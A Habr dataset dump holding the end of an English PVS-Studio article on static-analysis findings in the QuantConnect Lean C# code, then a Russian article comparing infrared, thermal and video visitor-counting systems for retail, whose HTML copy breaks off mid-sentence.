exception:<br/> <br/> <pre><code class="cpp">default: throw new CustomExeption("Invalid enumeration element");</code></pre><br/> Personally, I got hooked on this syntactic sugar C# 8.0:<br/> <br/> <pre><code class="cpp">Func&lt;TradingDay, bool> typeFilter = day => { return type switch { TradingDayType.BusinessDay => day.BusinessDay, TradingDayType.PublicHoliday => day.PublicHoliday, TradingDayType.Weekend => day.Weekend, TradingDayType.OptionExpiration => day.OptionExpirations.Any(), TradingDayType.FutureExpiration => day.FutureExpirations.Any(), TradingDayType.FutureRoll => day.FutureRolls.Any(), TradingDayType.SymbolDelisting => day.SymbolDelistings.Any(), TradingDayType.EquityDividends => day.EquityDividends.Any(), _ => false }; };</code></pre><br/> <b>Tip 2</b><br/> <br/> <pre><code class="cpp">public string[] GetPropertiesBy(SecuritySeedData type) { switch (type) { case SecuritySeedData.None: return new string[0]; case SecuritySeedData.OpenInterest: return new[] { "OpenInterest" }; // &lt;= case SecuritySeedData.OpenInterestTick: return new[] { "OpenInterest" }; // &lt;= case SecuritySeedData.TradeTick: return new[] {"Price", "Volume"}; .... case SecuritySeedData.Fundamentals: return new string[0]; default: throw new ArgumentOutOfRangeException(nameof(type), type, null); } }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3139/">V3139</a> Two or more case-branches perform the same actions. SecurityCacheTests.cs 510<br/> <br/> In two different <i>cases</i>, the same value is returned. It looks very suspicious in such a form. It feels like someone copied, pasted and forgot to change the code. Therefore, here's my advice: if the same logic must be performed for different values, then combine the <i>case</i> that way:<br/> <br/> <pre><code class="cpp">public string[] GetPropertiesBy(SecuritySeedData type) { switch (type) { case SecuritySeedData.None: return new string[0]; case SecuritySeedData.OpenInterest: case SecuritySeedData.OpenInterestTick: return new[] { "OpenInterest" }; .... } }</code></pre><br/> This clearly indicates what we want and removes an extra line as well. :)<br/> <br/> <h2>If statement</h2><br/> <b>Example 1</b><br/> <br/> <pre><code class="cpp">[TestCaseSource(nameof(DataTypeTestCases))] public void HandlesAllTypes&lt;T>(....) where T : BaseData, new() { .... if ( symbol.SecurityType != SecurityType.Equity || resolution != Resolution.Daily || resolution != Resolution.Hour) { actualPricePointsEnqueued++; dataPoints.Add(dataPoint); } .... }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3022/">V3022</a> Expression 'symbol.SecurityType != SecurityType.Equity || resolution != Resolution.Daily || resolution != Resolution.Hour' is always true. LiveTradingDataFeedTests.cs 1431<br/> <br/> The condition is always true. After all, in order to have the condition failed, the variable <i>resolution</i> must have the <i>Resolution.Daily</i> value and <i>Resolution.Hour</i> at a time. A possible fixed variant:<br/> <br/> <pre><code class="cpp">[TestCaseSource(nameof(DataTypeTestCases))] public void HandlesAllTypes&lt;T>(....) where T : BaseData, new() { .... if ( symbol.SecurityType != SecurityType.Equity || ( resolution != Resolution.Daily &amp;&amp; resolution != Resolution.Hour)) { actualPricePointsEnqueued++; dataPoints.Add(dataPoint); } .... }</code></pre><br/> Some tips for the <i>if</i> statement. When there is a condition that consists entirely of "||" operators, then after writing, verify whether the same variable is checked for <b>inequality</b> to something else several times in a row. <br/> <br/> The situation is similar in the condition with the "&amp;&amp;" operator. If a variable is checked for <b>equality</b> to something repeatedly, it is most likely to be a logical error.<br/> <br/> Also, if you write a compound condition, and it contains "&amp;&amp;"and "||", do not hesitate to put parentheses. This can help you either to see an error or to avoid it.<br/> <br/> <b>Example 2</b><br/> <br/> <pre><code class="cpp">public static string SafeSubstring(this string value, int startIndex, int length) { if (string.IsNullOrEmpty(value)) { return value; } if (startIndex > value.Length - 1) { return string.Empty; } if (startIndex &lt; -1) { startIndex = 0; } return value.Substring(startIndex, Math.Min(length, value.Length - startIndex)); }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3057/">V3057</a> The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the first argument. StringExtensions.cs 311<br/> <br/> According to the analyzer the value -1 can be passed as the first argument of the <i>Substring</i> method. This will cause an exception of the type <i>System.ArgumentOutOfRangeException</i>. Let's see why this value can be obtained. In this example, we take no interest in the first two conditions, so they will be omitted in the reasoning.<br/> <br/> The <i>startIndex</i> parameter has the <i>int</i> type, so its values are in the [-2147483648, 2147483647] range. Therefore, to prevent bounds violation, the developer wrote the following condition:<br/> <br/> <pre><code class="cpp">if (startIndex &lt; -1) { startIndex = 0; }</code></pre><br/> That is, it was assumed that if a negative value was received, we would simply change it to 0. But instead of "&lt;=" they wrote "&lt;", and now the range's lower limit of the <i>startIndex</i> variable (from the analyzer's point of view) is -1. <br/> <br/> In these situations, I suggest using a construction like this:<br/> <br/> <pre><code class="cpp">if (variable &lt; value) { variable = value; }</code></pre><br/> This combination is much easier to read, since it involves one less value. So, I suggest you fix the problem like this:<br/> <br/> <pre><code class="cpp">public static string SafeSubstring(....) { .... if (startIndex &lt; 0) { startIndex = 0; } return value.Substring(startIndex, Math.Min(length, value.Length - startIndex)); }</code></pre><br/> You can say that we could have just changed the sign in the condition in the initial example:<br/> <br/> <pre><code class="cpp">if (startIndex &lt;= -1) { startIndex = 0; }</code></pre><br/> The error also disappears. However, the logic will look like this:<br/> <br/> <pre><code class="cpp">if (variable &lt;= value - 1) { variable = value; }</code></pre><br/> Agree that it looks overloaded.<br/> <br/> <b>Example 3</b><br/> <br/> <pre><code class="cpp">public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; var futureMarginModel = buyingPowerModel as FutureMarginModel; if (buyingPowerModel == null) { throw new Exception($"Invalid buying power model. " + $"Found: {buyingPowerModel.GetType().Name}. " + $"Expected: {nameof(FutureMarginModel)}"); } .... }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3080/">V3080</a> Possible null dereference. Consider inspecting 'buyingPowerModel'. BasicTemplateFuturesAlgorithm.cs 107<br/> <br/> <a href="https://www.viva64.com/en/w/v3019/">V3019</a> Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'buyingPowerModel', 'futureMarginModel'. BasicTemplateFuturesAlgorithm.cs 105<br/> <br/> A very interesting fragment. The analyzer issues two warnings at once. And in fact, they contain the problem and its cause. Firstly, let's see what happens if the condition is met. Since <i>buyingPowerModel</i> will be strictly <i>null</i> inside, dereferencing will occur:<br/> <br/> <pre><code class="cpp">$"Found: {buyingPowerModel.GetType().Name}. "</code></pre><br/> The reason is that the condition has a wrong variable compared to <i>null</i>. It's obvious that <i>futureMarginModel</i> should be written instead of <i>buyingPowerModel</i>. A fixed version:<br/> <br/> <pre><code class="cpp">public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; var futureMarginModel = buyingPowerModel as FutureMarginModel; if (futureMarginModel == null) { throw new Exception($"Invalid buying power model. " + $"Found: {buyingPowerModel.GetType().Name}. " + $"Expected: {nameof(FutureMarginModel)}"); } .... }</code></pre><br/> However, there is still a problem with dereferencing <i>buyingPowerModel</i> inside the condition. After all, <i>futureMarginModel</i> will be <i>null</i> not only when it is not <i>FutureMarginModel</i>, but also when <i>buyingPowerModel</i> is <i>null</i>. So I suggest this version:<br/> <br/> <pre><code class="cpp">public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; var futureMarginModel = buyingPowerModel as FutureMarginModel; if (futureMarginModel == null) { string foundType = buyingPowerModel?.GetType().Name ?? "the type was not found because the variable is null"; throw new Exception($"Invalid buying power model. " + $"Found: {foundType}. " + $"Expected: {nameof(FutureMarginModel)}"); } .... }</code></pre><br/> Personally, I have recently got to like writing such constructions using <i>is</i>. So the code becomes shorter and it is more difficult to make a mistake. This example is completely similar to the example above:<br/> <br/> <pre><code class="cpp">public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; if (!(buyingPowerModel is FutureMarginModel futureMarginModel)) { .... } .... }</code></pre><br/> Moreover, in C# 9.0 we will be able to write the keyword <i>not</i>:<br/> <br/> <pre><code class="cpp">public override void OnEndOfAlgorithm() { var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel; if (buyingPowerModel is not FutureMarginModel futureMarginModel) { .... } .... }</code></pre><br/> <b>Example 4</b><br/> <br/> <pre><code class="cpp">public static readonly Dictionary&lt;....> FuturesExpiryDictionary = new Dictionary&lt;....>() { .... if (twoMonthsPriorToContractMonth.Month == 2) { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 1); } else { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 1); } .... }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3004/">V3004</a> The 'then' statement is equivalent to the 'else' statement. FuturesExpiryFunctions.cs 1561<br/> <br/> The same logic runs under different conditions. Since one of the arguments is a numeric literal, it is likely that another value may be passed. For example:<br/> <br/> <pre><code class="cpp">public static readonly Dictionary&lt;....> FuturesExpiryDictionary = new Dictionary&lt;....>() { .... if (twoMonthsPriorToContractMonth.Month == 2) { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 2); } else { lastBusinessDay = FuturesExpiryUtilityFunctions .NthLastBusinessDay(twoMonthsPriorToContractMonth, 1); } .... }</code></pre><br/> But this is nothing more than an assumption. Here I would like to draw attention to the fact that the error occurs in the container's initialization. The size of this initialization is almost 2000 lines:<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/087/52c/993/08752c993506f2fde906a3e748b47915.png" alt="image2.png" data-src="https://habrastorage.org/getpro/habr/post_images/087/52c/993/08752c993506f2fde906a3e748b47915.png"/></div><br/> Also, the code fragments inside are similar in appearance, which is logical, because here the collection is simply filled in. Therefore, be very careful when copying something in large and similar sections. Make changes at once, because then your eyes will get tired and you won't see the problem.<br/> <br/> <b>Example 5</b><br/> <br/> <pre><code class="cpp">public AuthenticationToken GetAuthenticationToken(IRestRequest request) { .... if (request.Method == Method.GET &amp;&amp; request.Parameters.Count > 0) { var parameters = request.Parameters.Count > 0 ? string.Join(....) : string.Empty; url = $"{request.Resource}?{parameters}"; } }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3022/">V3022</a> Expression 'request.Parameters.Count > 0' is always true. GDAXBrokerage.Utility.cs 63<br/> <br/> The condition in the ternary operator is always true, because this check was already performed above. Now this is either a redundant check, or the "&amp;&amp;" and "||" operators are mixed up in the condition above. <br/> <br/> To avoid this, when you are in a condition, always keep in mind at what values you will enter it.<br/> <br/> A possible fixed variant:<br/> <br/> <pre><code class="cpp">public AuthenticationToken GetAuthenticationToken(IRestRequest request) { .... if (request.Method == Method.GET &amp;&amp; request.Parameters.Count > 0) { var parameters = string.Join(....); url = $"{request.Resource}?{parameters}"; } }</code></pre><br/> <b>Example 6</b><br/> <br/> <pre><code class="cpp">public bool Setup(SetupHandlerParameters parameters) { .... if (job.UserPlan == UserPlan.Free) { MaxOrders = 10000; } else { MaxOrders = int.MaxValue; MaximumRuntime += MaximumRuntime; } MaxOrders = job.Controls.BacktestingMaxOrders; // &lt;= .... }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3008/">V3008</a> The 'MaxOrders' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 244, 240. BacktestingSetupHandler.cs 244<br/> <br/> Here, the <i>MaxOrders</i> variable is assigned a value twice in a row. In other words, logic with conditions is unnecessary.<br/> <br/> To fix this, we have 2 options. We either remove the assignments in the then-else branches, or the assignment after the condition. Most likely, the code is covered by tests, and the program works correctly. Therefore, we will leave only the last assignment. A possible fixed variant:<br/> <br/> <pre><code class="cpp">public bool Setup(SetupHandlerParameters parameters) { .... if (job.UserPlan != UserPlan.Free) { MaximumRuntime += MaximumRuntime; } MaxOrders = job.Controls.BacktestingMaxOrders; .... }</code></pre><br/> <h2>Typical human failings</h2><br/> This section will cover copy-paste errors, accidentally pressed keys, and so on. Basically, the most common problems of human imperfection. We are not robots, so these situations are typical. <br/> <br/> General recommendations on them: <br/> <br/> <ul> <li>When copying something, make changes to the copy as soon as you paste it;</li> <li>review the code;</li> <li>use special tools that will look for errors for you. </li> </ul><br/> <b>Case 1</b><br/> <br/> <pre><code class="cpp">public class FisherTransform : BarIndicator, IIndicatorWarmUpPeriodProvider { private readonly Minimum _medianMin; private readonly Maximum _medianMax; public override bool IsReady => _medianMax.IsReady &amp;&amp; _medianMax.IsReady; }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3001/">V3001</a> There are identical sub-expressions '_medianMax.IsReady' to the left and to the right of the '&amp;&amp;' operator. FisherTransform.cs 72<br/> <br/> In this example, the <i>IsReady</i> field must depend on two conditions, but in fact it depends on one. It's all the fault of a typo. Most likely, instead of <i>_medianMin</i>, <i>_medianMax</i> was written. A fixed version:<br/> <br/> <pre><code class="cpp">public class FisherTransform : BarIndicator, IIndicatorWarmUpPeriodProvider { private readonly Minimum _medianMin; private readonly Maximum _medianMax; public override bool IsReady => _medianMin.IsReady &amp;&amp; _medianMax.IsReady; }</code></pre><br/> <b>Case 2</b><br/> <br/> <pre><code class="cpp">public BacktestResultPacket(....) : base(PacketType.BacktestResult) { try { Progress = Math.Round(progress, 3); SessionId = job.SessionId; // &lt;= PeriodFinish = endDate; PeriodStart = startDate; CompileId = job.CompileId; Channel = job.Channel; BacktestId = job.BacktestId; Results = results; Name = job.Name; UserId = job.UserId; ProjectId = job.ProjectId; SessionId = job.SessionId; // &lt;= TradeableDates = job.TradeableDates; } catch (Exception err) { Log.Error(err); } }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3008/">V3008</a> The 'SessionId' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 182, 172. BacktestResultPacket.cs 182<br/> <br/> The class has many fields that must be initialized – many lines in the constructor. Everything is merged, and one field is initialized several times. In this case, there may be an extra initialization, or they forgot to initialize some other field.<br/> <br/> If you are interested, you can also check out <a href="https://viva64.com/en/examples/v3008/">other errors</a> found by this diagnostic rule. <br/> <br/> <b>Case 3</b><br/> <br/> <pre><code class="cpp">private const string jsonWithScore = "{" + "\"id\":\"e02be50f56a8496b9ba995d19a904ada\"," + "\"group-id\":\"a02be50f56a8496b9ba995d19a904ada\"," + "\"source-model\":\"mySourceModel-1\"," + "\"generated-time\":1520711961.00055," + "\"created-time\":1520711961.00055," + "\"close-time\":1520711961.00055," + "\"symbol\":\"BTCUSD XJ\"," + "\"ticker\":\"BTCUSD\"," + "\"type\":\"price\"," + "\"reference\":9143.53," + "\"reference-final\":9243.53," + "\"direction\":\"up\"," + "\"period\":5.0," + "\"magnitude\":0.025," + "\"confidence\":null," + "\"weight\":null," + "\"score-final\":true," + "\"score-magnitude\":1.0," + "\"score-direction\":1.0," + "\"estimated-value\":1113.2484}"; private const string jsonWithExpectedOutputFromMissingCreatedTimeValue = "{" + "\"id\":\"e02be50f56a8496b9ba995d19a904ada\"," + "\"group-id\":\"a02be50f56a8496b9ba995d19a904ada\"," + "\"source-model\":\"mySourceModel-1\"," + "\"generated-time\":1520711961.00055," + "\"created-time\":1520711961.00055," + "\"close-time\":1520711961.00055," + "\"symbol\":\"BTCUSD XJ\"," + "\"ticker\":\"BTCUSD\"," + "\"type\":\"price\"," + "\"reference\":9143.53," + "\"reference-final\":9243.53," + "\"direction\":\"up\"," + "\"period\":5.0," + "\"magnitude\":0.025," + "\"confidence\":null," + "\"weight\":null," + "\"score-final\":true," + "\"score-magnitude\":1.0," + "\"score-direction\":1.0," + "\"estimated-value\":1113.2484}";</code></pre><br/> <a href="https://www.viva64.com/en/w/v3091/">V3091</a> Empirical analysis. It is possible that a typo is present inside the string literal. The 'score' word is suspicious. InsightJsonConverterTests.cs 209<br/> <br/> Sorry for the large and scary code. Here different fields have the same values. This is a classic error from the copy-paste family. Copied, fell into the muse, forgot to make changes – here's the error. <br/> <br/> <b>Case 4</b><br/> <br/> <pre><code class="cpp">private void ScanForEntrance() { var shares = (int)(allowedDollarLoss/expectedCaptureRange); .... if (ShouldEnterLong) { MarketTicket = MarketOrder(symbol, shares); .... } else if (ShouldEnterShort) { MarketTicket = MarketOrder(symbol, - -shares); // &lt;= .... StopLossTicket = StopMarketOrder(symbol, -shares, stopPrice); .... } .... }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3075/">V3075</a> The '-' operation is executed 2 or more times in succession. Consider inspecting the '- -shares' expression. OpeningBreakoutAlgorithm.cs 328<br/> <br/> The unary operator "-" was used twice in a row. Thus, the value passed to the <i>MarketOrder</i> method remains unchanged. It's a tricky question how many unary minuses should be left here. Perhaps the prefix decrement operator "--" was meant to be here, but the <i>space bar</i> was accidentally pressed. There are so many variants, so one of the possible corrected options is: <br/> <br/> <pre><code class="cpp">private void ScanForEntrance() { .... if (ShouldEnterLong) { MarketTicket = MarketOrder(symbol, shares); .... } else if (ShouldEnterShort) { MarketTicket = MarketOrder(symbol, -shares); .... StopLossTicket = StopMarketOrder(symbol, -shares, stopPrice); .... } .... }</code></pre><br/> <b>Case 5</b><br/> <br/> <pre><code class="cpp">private readonly SubscriptionDataConfig _config; private readonly DateTime _date; private readonly bool _isLiveMode; private readonly BaseData _factory; public ZipEntryNameSubscriptionDataSourceReader( SubscriptionDataConfig config, DateTime date, bool isLiveMode) { _config = config; _date = date; _isLiveMode = isLiveMode; _factory = _factory = config.GetBaseDataInstance(); // &lt;= }</code></pre><br/> <a href="https://www.viva64.com/en/w/v3005/">V3005</a> The '_factory' variable is assigned to itself. ZipEntryNameSubscriptionDataSourceReader.cs 50<br/> <br/> The <i>_factory</i> field is assigned the same value twice. There are only four fields in the class, so it's probably just a misprint. A fixed version:<br/> <br/> <pre><code class="cpp">public ZipEntryNameSubscriptionDataSourceReader(....) { _config = config; _date = date; _isLiveMode = isLiveMode; _factory = config.GetBaseDataInstance(); }</code></pre><br/> <h2>Conclusion</h2><br/> There are many places where you can make a mistake. We notice and fix some of them immediately. Some of them are fixed in a code review, but I recommend assigning some of them to special tools. <br/> <br/> Also, if you like such a format, please write about it. I'll do more like this. Thank you!</div>
Николай Миронов (IchNikola)
null
null
<div style="text-align:center;"><img src="https://habrastorage.org/getpro/habr/post_images/c03/5c9/633/c035c9633cc626bfaa3c257ef762961c.png" alt="image1.png"></div><br> This article discusses errors found using a static analyzer in an open source project. There are some simple things that can help you avoid them. For example, the usage of language syntactic constructs starting from C# 8.0. We hope it will be exciting. Have fun reading! <br>
This article discusses errors found using a static analyzer in an open source project. There are some simple things that can help you avoid them. For example, the usage of language syntactic constructs starting from C# 8.0. We hope it will be exciting. Have fun reading!
article
1,608,104,820
{ "commentsCount": 0, "favoritesCount": 1, "readingCount": 338, "score": 0, "votesCount": 2, "votesCountPlus": 1, "votesCountMinus": 1 }
[]
[ "pvs-studio", "open_source", "net", "csharp" ]
[ "develop" ]
[ "pvs-studio", "C#", ".NET", "OpenSourse", "QuantConnect Lean" ]
17
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
291,522
ru
https://habr.com/ru/post/291522/
Обзор систем подсчета посетителей
В современной розничной торговле для мотивации продавцов используется показатель конверсии. Скольких из пришедших людей удалось превратить в покупателей. Сколько людей совершило покупку посчитать не сложно. А вот сколько людей заходило в магазин? Ниже общий обзор существующих решений для подсчета покупателей с моими размышлениями о плюсах и минусах той или иной системы. Представленные на рынке системы можно разделить по принципу работы: Системы, работающие по инфракрасному лучу; Системы, работающие на тепловых датчиках; Системы с видеодатчиками. Системы, работающие по инфракрасному лучу. Система состоит из ИК передатчика и ИК приемника. Между ними идет инфракрасный луч. Как только человек его пересекает датчик срабатывает. Горизонтальные системы делятся на однонаправленные и двунаправленные. Однонаправленные – имеется только один луч, при его пересечении счетчик срабатывает. Двунаправленные – имеется два луча, в зависимости от очередности их пересечения считает на вход и на выход. По типу питания инфракрасные датчики делятся на автономные и не автономные. Автономные питаются от батареек, не автономные – от электросети. По типу подключения их можно разделить на подключаемые к компьютеру и не подключаемые к компьютеру. По типу монтажа – горизонтальные, вертикальные. Вертикальные – высота монтажа не более 3 м. Горизонтальные – ширина прохода не более 5 м. (по факту не более 2 м). Плюсы – дешевизна (стоимость комплекта от 3500-10000р в зависимости от комплектации ), простота монтажа и настройки. При подключении к компьютеру есть возможность построения аналитических отчетов, вплоть до прямой передачи данных в офис по сети. Возможна интеграция такого типа систем в антикражные ворота. Минусы – высокая погрешность, без подключения к компьютеру возможно просматривать отчеты только по дням, а не по часам, при чем делает это менеджер магазина. Достаточно легко обманываются продавцами (перекрывание луча). При автономном питании требуется частая замена батареек (в среднем раз в три месяца). Есть вероятность использования в датчике нестандартных элементов питания, чья стоимость заметно выше и их труднее найти. (хотя с виду вроде такие же батарейки AA). Программное обеспечение достаточно часто сбоит, самостоятельная переустановка ПО без звонка поставщиказачастую проблематична. Без постоянной платы техническое сопровождение ПО достаточно слабое. Общее впечатление – весьма неточная и в связке с компьютером весьма капризная система, которую достаточно легко обмануть.Но недорогая. Подходит, если нужны приблизительные данные при не очень интенсивном потоке покупателей. Если зарплата продавцов зависит от конверсии, то использовать систему такого типа я не рекомендую Системы, работающие на тепловых датчиках Человек виден как тепловое пятно. При этом исключен двойной подсчет посетителей, как в случае пересечения луча. Возможно подключение напрямую в локальную сеть с передачей данных в офис минуя компьютер. Возможно подключение к компьютеру. Высота монтажа от 3 до 11 м. Плюсы – более высокая точность, независимость от освещения, сложно обмануть такую систему. Минусы – невозможно использовать рядом с тепловыми завесами. Дают большую погрешность, если вход в магазин рядом со входом на улицу. На мой взгляд решение не универсальное, имеет ряд ограничений на монтаж. Среднюю цену датчикапорядка нескольких десятков тысяч рублей. Общее впечатление — в больших розничных сетях, где конфигурации магазинов могут сильно отличаться, я бы не стал их использовать. А вот для оснащения крупного торгового центра, где четко заранее прописано в архитектурном проекте вполне допустимо. Системы, работающие на видеодатчиках. В основе таких систем лежат датчики с видеокамерами (одна камера в 2D и две в 3D датчике). Плюсы — высокая точность подсчета, возможность передавать данные напрямую в офис через сеть, минуя компьютер. Возможность построения отчетов в срезе до 5 минут. В случае 3D датчиков можно приблизительно оценивать рост покупателей и убирать из трафика детей. Практически невозможно обмануть такую систему. Точность подсчета 95-97%. Минусы – датчики зависят от освещения. При плохом освещении снижается точность, 2D датчики могут ошибочно принимать тени за людей, 3D датчики могут считать отражения как людей. Однако в 3D датчиках это компенсируется за счет гибкой системы настроек. Есть возможность настройки «буферной зоны», гуляющий по торговому залу человек не будет считаться дважды, если он ходит рядом со входом. Т.е. человек зашел, постоял в буферной зоне и вышел. В этом случае он не посчитается (на картинке ниже она очерчена желтым). Средняя стоимость 3D датчика – 70 000- 90 000 р. Общее впечатление — На мой взгляд 3D датчики являются наиболее универсальным и точным решением, которое активно внедряется во многих торговых сетях. Учитывая высокую точность подсчета (95-97%) данные с этих датчиков можно использовать при расчете бонусной части зарплаты продавцов. Заключение. Систему подсчета посетителей следует выбирать исходя из поставленных задач. При этом следует помнить — после установки систему надо обслуживать, а это тоже расходы. Иногда лучше поставить систему подороже, но в длительной перспективе обслуживание обойдется намного дешевле. И если поменяются задачи, то может понадобиться и смена системы. Поэтому лучше заранее подумать о будущем. Если перед вами стоит задача приблизительно оценить поток покупателей, без использования данных для расчета бонусов продавцов, то я бы рекомендовал установить недорогую систему горизонтального подсчета по ИК лучу без связи с ПК, без автономного питания. В этом варианте будут данные с высокой погрешностью, но за минимальную стоимость. При выходе из строя датчики легко заменить, они никак не завязаны на компьютерное оборудование. Система состоит из одного узла – самого датчика. Однако будет известно количество посетителей за целые сутки, без разбивки по часам и менеджер может забыть их отправить или вбить неправильную цифру. Если перед вами стоит задача оценить количество посетителей с минимальной погрешностью и использовать эти данные для расчета бонусов продавцам, то лучше установить 2D/3D датчики. Вы получите высокую точность, продавцы никак не смогут влиять на данные, данные напрямую уходят в офис, имеют намного меньше ограничений на монтаж (можно оборудовать все магазины, практически без учета таких индивидуальных особенностей, как тепловые завесы, высота потолка, ширина входной группы, удаленность от выхода на улицу). Система состоит из двух узлов – датчика и блока питания. В случае отсутствия связи с офисом датчик может работать автономно до 10 дней, сохраняя данные на внутреннюю память. Правда при этом в офисе придется установить сервер, который будет принимать и обрабатывать эти данные. Либо заказать услугу обработки данных у сторонней организации. Использовать промежуточные решения я бы не советовал. Под промежуточными решениями я имею ввиду ИК датчики с подключением к компьютеру через радиоканал. Вам потребуется вызывать сторонних специалистов и давать им доступ к ПК, устанавливать дополнительное ПО, обучать персонал им пользоваться. Так же такая система имеет больше узлов, которые могут выйти из строя (сами датчики, база-приемник данных от датчиков, компьютер, ПО на компьютере). При этом данные передаются от датчика к базе по радиоканалу, что снижает надежность системы. Если у вас 1-2 магазина, то это решение еще приемлемо. Для крупной сети оно не подходит.
<div xmlns="http://www.w3.org/1999/xhtml">В современной розничной торговле для мотивации продавцов используется показатель конверсии. Скольких из пришедших людей удалось превратить в покупателей. Сколько людей совершило покупку посчитать не сложно. А вот сколько людей заходило в магазин? Ниже общий обзор существующих решений для подсчета покупателей с моими размышлениями о плюсах и минусах той или иной системы.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/files/024/6b0/34b/0246b034b6ae4c8bac3cd3ee8a232639.jpg" data-src="https://habrastorage.org/files/024/6b0/34b/0246b034b6ae4c8bac3cd3ee8a232639.jpg" data-blurred="true"/><br/> <a name="habracut"></a><br/> Представленные на рынке системы можно разделить по принципу работы:<br/> <ul> <li>Системы, работающие по инфракрасному лучу;</li> <li>Системы, работающие на тепловых датчиках;</li> <li>Системы с видеодатчиками.</li> </ul><br/> <b>Системы, работающие по инфракрасному лучу.</b><br/> Система состоит из ИК передатчика и ИК приемника. Между ними идет инфракрасный луч. Как только человек его пересекает датчик срабатывает.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/files/e7b/1e6/3c5/e7b1e63c5bf94ab4bdf1189389654206.jpg" data-src="https://habrastorage.org/files/e7b/1e6/3c5/e7b1e63c5bf94ab4bdf1189389654206.jpg" data-blurred="true"/><br/> <img src="https://habrastorage.org/r/w780q1/files/4ef/b73/47b/4efb7347bb0546b481e0b98534df24c8.jpg" data-src="https://habrastorage.org/files/4ef/b73/47b/4efb7347bb0546b481e0b98534df24c8.jpg" data-blurred="true"/><br/> <br/> Горизонтальные системы делятся на однонаправленные и двунаправленные. Однонаправленные – имеется только один луч, при его пересечении счетчик срабатывает. Двунаправленные – имеется два луча, в зависимости от очередности их пересечения считает на вход и на выход.<br/> <br/> По типу питания инфракрасные датчики делятся на автономные и не автономные. Автономные питаются от батареек, не автономные – от электросети.<br/> <br/> По типу подключения их можно разделить на подключаемые к компьютеру и не подключаемые к компьютеру.<br/> <br/> По типу монтажа – горизонтальные, вертикальные. Вертикальные – высота монтажа не более 3 м. Горизонтальные – ширина прохода не более 5 м. (по факту не более 2 м).<br/> <br/> <b>Плюсы</b> – дешевизна (стоимость комплекта от 3500-10000р в зависимости от комплектации ), простота монтажа и настройки. При подключении к компьютеру есть возможность построения аналитических отчетов, вплоть до прямой передачи данных в офис по сети. Возможна интеграция такого типа систем в антикражные ворота.<br/> <br/> <b>Минусы</b> – высокая погрешность, без подключения к компьютеру возможно просматривать отчеты только по дням, а не по часам, при чем делает это менеджер магазина. Достаточно легко обманываются продавцами (перекрывание луча). При автономном питании требуется частая замена батареек (в среднем раз в три месяца). Есть вероятность использования в датчике нестандартных элементов питания, чья стоимость заметно выше и их труднее найти. (хотя с виду вроде такие же батарейки AA). Программное обеспечение достаточно часто сбоит, самостоятельная переустановка ПО без звонка поставщиказачастую проблематична. Без постоянной платы техническое сопровождение ПО достаточно слабое.<br/> <br/> <b>Общее впечатление </b> – весьма неточная и в связке с компьютером весьма капризная система, которую достаточно легко обмануть.Но недорогая. Подходит, если нужны приблизительные данные при не очень интенсивном потоке покупателей.<br/> <br/> Если зарплата продавцов зависит от конверсии, то использовать систему такого типа я не рекомендую<br/> <br/> <b>Системы, работающие на тепловых датчиках</b><br/> <br/> Человек виден как тепловое пятно. При этом исключен двойной подсчет посетителей, как в случае пересечения луча. Возможно подключение напрямую в локальную сеть с передачей данных в офис минуя компьютер. Возможно подключение к компьютеру.<br/> Высота монтажа от 3 до 11 м. <br/> Плюсы – более высокая точность, независимость от освещения, сложно обмануть такую систему.<br/> Минусы – невозможно использовать рядом с тепловыми завесами. Дают большую погрешность, если вход в магазин рядом со входом на улицу.<br/> <br/> На мой взгляд решение не универсальное, имеет ряд ограничений на монтаж. Среднюю цену датчикапорядка нескольких десятков тысяч рублей.<br/> <br/> <b>Общее впечатление</b> — в больших розничных сетях, где конфигурации магазинов могут сильно отличаться, я бы не стал их использовать. А вот для оснащения крупного торгового центра, где четко заранее прописано в архитектурном проекте вполне допустимо.<br/> <br/> <b>Системы, работающие на видеодатчиках.</b><br/> В основе таких систем лежат датчики с видеокамерами (одна камера в 2D и две в 3D датчике).<br/> <img src="https://habrastorage.org/r/w780q1/files/82f/8a8/7f0/82f8a87f07f5406a9b4a1bb55778c6b6.jpg" data-src="https://habrastorage.org/files/82f/8a8/7f0/82f8a87f07f5406a9b4a1bb55778c6b6.jpg" data-blurred="true"/><br/> <img src="https://habrastorage.org/r/w1560/files/f09/357/840/f0935784094047f6989301130b575d71.png" data-src="https://habrastorage.org/files/f09/357/840/f0935784094047f6989301130b575d71.png"/><br/> <br/> <b>Плюсы</b> — высокая точность подсчета, возможность передавать данные напрямую в офис через сеть, минуя компьютер. Возможность построения отчетов в срезе до 5 минут. В случае 3D датчиков можно приблизительно оценивать рост покупателей и убирать из трафика детей. Практически невозможно обмануть такую систему. Точность подсчета 95-97%.<br/> <br/> <b>Минусы</b> – датчики зависят от освещения. При плохом освещении снижается точность, 2D датчики могут ошибочно принимать тени за людей, 3D датчики могут считать отражения как людей. <br/> Однако в 3D датчиках это 